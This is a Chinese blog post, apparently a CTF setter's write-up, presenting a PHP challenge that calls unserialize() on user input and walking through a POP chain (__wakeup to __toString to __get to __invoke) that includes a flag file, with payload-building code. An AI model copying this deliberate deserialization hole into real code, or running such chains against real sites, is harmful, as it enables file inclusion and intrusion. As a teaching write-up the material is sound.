Loading

POP链

    这次出了一题校内CTF的Web题目,这次出的是一个php的Pop链的题目(如果有不知道的小伙伴可以先去看看php的反序列化漏洞),也是第一次出题,当一次出题人哈哈哈哈哈哈。那我们来看一下题目吧。

题目:

<?php
//flag is in flag_change
highlight_file(__FILE__);
error_reporting(0);
class QZI {
    private $lalala;
    public function qziedu($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->qziedu($this->lalala);
    }
}

class A{
    public $qian;
    public $yu;
    public function __toString(){
        return $this->yu->qian;
    }
    public function __wakeup(){
        echo $this->qian;
    }
}

class V{
    public $py;
    public function __construct(){
        $this->py = array();
    }

    public function __get($key){
        $function = $this->py;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?>

Pop链构造

    这题可以直接看到源代码中提示//flag is in flag_change;有一个方法qziedu()可以包含一个文件,并且echo了变量flag,那很明显我们只要给$value赋值为flag_change并且触发了这个函数就可以得到flag

public function qziedu($value)
    {
        include($value);
        echo $flag;
    }

    接下来我们来分析一下怎么调用这个方法;要想调用这个方法我们需要构造一系列的payload,也就是pop链。

    上面提到了我们需要调用方法qziedu()来获得flag;那qziedu()是在__invoke()下,__invoke()的触发条件是以函数的方式调用对象时触发,在代码里面V类的__get()是可以把对象当成函数调用的。

public function __get($key){
        $function = $this->py;
        return $function();
    }

    这里的return $function();看起来很正常,但是这个$function()是一个可控的变量,是由$py赋予的。那就可以把qziedu()赋值给$py来完成__invoke的触发。

    显然这两句代码不是凭空触发的,是在__get()下的两句代码。__get()的触发需要获得一个不能访问的成员属性时触发。审计一下源码能发现调用成员属性的只有A类和V类里面有,V类里有着__wakeup模式方法,触发后会输出变量yu的成员qianyu,那这很明显就是我们需要的东西;我们反序列化时会触发__wakeup()然后输出变量qian,我们只要把qian赋值为当前类实例的对象,就可以触发__toString()去调用成员,那yu只要赋值为V类实例的对象,就可以完成__get()的触发。

class A{
    public $qian;
    public $yu;
    public function __toString(){
        return $this->yu->qian;
    }
    public function __wakeup(){
        echo $this->qian;
    }
}

    至此完成整个Pop链的构造。我们整理一下链子:

A.wakeup --> A.toString -> V.get --> qzi.invoke -->  get flag

payload

<?php
//flag is in flag_change
highlight_file(__FILE__);
error_reporting(0);
class QZI  {
    private $lalala = "flag.php";
}

class A{
    public $qian;
    public $yu;
}

class V{
    public $py;
}


$qzi = new QZI();             #实例化QZI
$v = new V();                 #实例化V
$v -> py = $qzi;              #将py赋值位qzi,为的是触发QZI类的中的__invoke
$a = new A();                 #实例化A
$a -> qian = $a;              #因为要触发__toString,并且是wakeup,所以这里要写自己的实例
$a -> yu = $v;                #这里就是调用V函数的__get

echo urlencode(serialize($a));
posted @ 2023-11-30 20:06  qianyuzz  阅读(36)  评论(0编辑  收藏  举报